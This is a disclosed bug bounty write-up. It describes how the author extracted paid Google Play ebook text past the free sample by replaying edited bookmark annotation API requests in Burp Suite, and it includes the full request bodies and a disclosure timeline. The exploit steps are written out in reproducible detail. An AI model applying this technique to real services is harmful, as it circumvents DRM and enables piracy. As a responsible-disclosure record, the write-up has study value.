How to download eBooks from Google Play Store without paying for them

Hey guys!

I have been working on DRM bug bounty programs for several years, and I think it’s time to share something about this kind of test.

In this writeup, I will share with you how I was able to download any ebook from Google Play Store without paying for it. Yes, you read it right, without paying a cent, and I found this bug in 10 minutes.

Steps to reproduce:

  1. Go to Google Book Store: https://play.google.com/store/books
  2. Log in with your account
  3. Open any book, for example, “The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, Edition 2”: https://play.google.com/store/books/details/Dafydd_Stuttard_The_Web_Application_Hacker_s_Handb?id=NSBHAAAAQBAJ
  4. Click Free sample, and you will be redirected to: https://play.google.com/books/reader?id=NSBHAAAAQBAJ
  5. Go to the last available page (page 99)
  6. Select the last page, click Add bookmark, and intercept the following request:
POST https://books.clients6.google.com/books/v1/mylibrary/annotations?source=ge-web-app&alt=json&key=AIzaSyCWq1--9JnN9QM7k57Rc_qmt9c0OVy0rME
Host: books.clients6.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: es-MX,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-JavaScript-User-Agent: google-api-javascript-client/1.1.0
X-Requested-With: XMLHttpRequest
Content-Type: application/json
X-Goog-Encode-Response-If-Executable: base64
X-Goog-AuthUser: 0
Authorization: SAPISIDHASH REDACTED
X-ClientDetails: appVersion=5.0%20(Windows)&platform=Win32&userAgent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A92.0)%20Gecko%2F20100101%20Firefox%2F92.0
Content-Length: 559
Origin: https://play.google.com
DNT: 1
Connection: close
Referer: https://play.google.com/
Cookie: REDACTED
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

{"volumeId":"NSBHAAAAQBAJ","layerId":"bookmarks","annotationType":"bookmark","data":"{}","highlightStyle":"{}","clientVersionRanges":{"contentVersion":"1.7.5.0.preview.3","gbTextRange":{"startPosition":"GBS.PT98.w.4.0.0","startOffset":"261","endPosition":"GBS.PT98.w.4.0.0","endOffset":"261"}},"selectedText":"","beforeSelectedText":"y made it easy for programmers to unwittingly introduce security bugs into their code. These factors","afterSelectedText":" have meant that applications written in PHP have suffered from a disproportionate number of securit"}
  1. Replace the value of “beforeSelectedText” with the last word in the document: “fields.” and delete the value of “afterSelectedText”
  2. Resend the request with Burp Suite Proxy
  3. Inspect the response, analyze the value of “afterSelectedText”, and you will be able to see the next ebook paragraph, which you should not be able to visualize:
    “SQL uses queries to perform common tasks such as reading, adding, updating, and deleting data. For e”

  1. Replace the value of “beforeSelectedText” with the extracted value from the previous step:
POST https://books.clients6.google.com/books/v1/mylibrary/annotations?source=ge-web-app&alt=json&key=AIzaSyCWq1--9JnN9QM7k57Rc_qmt9c0OVy0rME
Host: books.clients6.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: */*
Accept-Language: es-MX,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-JavaScript-User-Agent: google-api-javascript-client/1.1.0
X-Requested-With: XMLHttpRequest
Content-Type: application/json
X-Goog-Encode-Response-If-Executable: base64
X-Goog-AuthUser: 0
Authorization: SAPISIDHASH REDACTED
X-ClientDetails: appVersion=5.0%20(Windows)&platform=Win32&userAgent=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A92.0)%20Gecko%2F20100101%20Firefox%2F92.0
Content-Length: 459
Origin: https://play.google.com
DNT: 1
Connection: close
Referer: https://play.google.com/
Cookie: REDACTED
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

{"volumeId":"NSBHAAAAQBAJ","layerId":"bookmarks","annotationType":"bookmark","data":"{}","highlightStyle":"{}","clientVersionRanges":{"contentVersion":"1.7.5.0.preview.3","gbTextRange":{"startPosition":"GBS.PT98.w.4.0.0","startOffset":"261","endPosition":"GBS.PT98.w.4.0.0","endOffset":"261"}},"selectedText":"","beforeSelectedText":"*SQL uses queries to perform common tasks such as reading, adding, updating, and deleting data. For e*","afterSelectedText":""}
  1. Resend the request, analyze the value of “afterSelectedText”, and you will see the missing part of the sentence, which you should not be able to visualize:
    "xample, to retrieve a user’s e-mail address with a specified name, an application might perform the "

  2. After this point, I generated a python script to be able to download the whole book

Stay one moment! How can I detect when an ebook has a Line Feed?

It’s possible to detect when an ebook has a line feed, because the value of “endPosition” changes. For example, if you look for “beforeSelectedText”=" following query:", you will see that the value of “startPosition” and “endPosition” is equal to “GBS.PT99.w.0.0.0”:

But, If you search for “beforeSelectedText”:" following query: select", you will see that the values of “startPosition” and “endPosition” have changed because the word ‘select’ must be on a new line: “GBS.PT99.w.1.0.0”:

Therefore, it would be possible to create a script that allows us to generate an HTML file with line feeds and styles.

NOTE: This bug was systemic because I tested my python script with different ebooks, and it worked fine.

Timeline

Sep 15, 2021, 03:27 AM — Reported
Sep 15, 2021, 02:23 PM — Status: Identified as an Abuse Risk and triaged to the Trust & Safety team
Sep 16, 2021, 06:39 AM — Status: Assigned (P2, S4)
Sep 22, 2021, 07:16 PM — Status: Accepted (P1, S1)
Oct 21, 2021, 02:00 PM — The reward panel awards me $X,XXX USD
Nov 4, 2021,  02:09 PM — Google authorizes its disclosure
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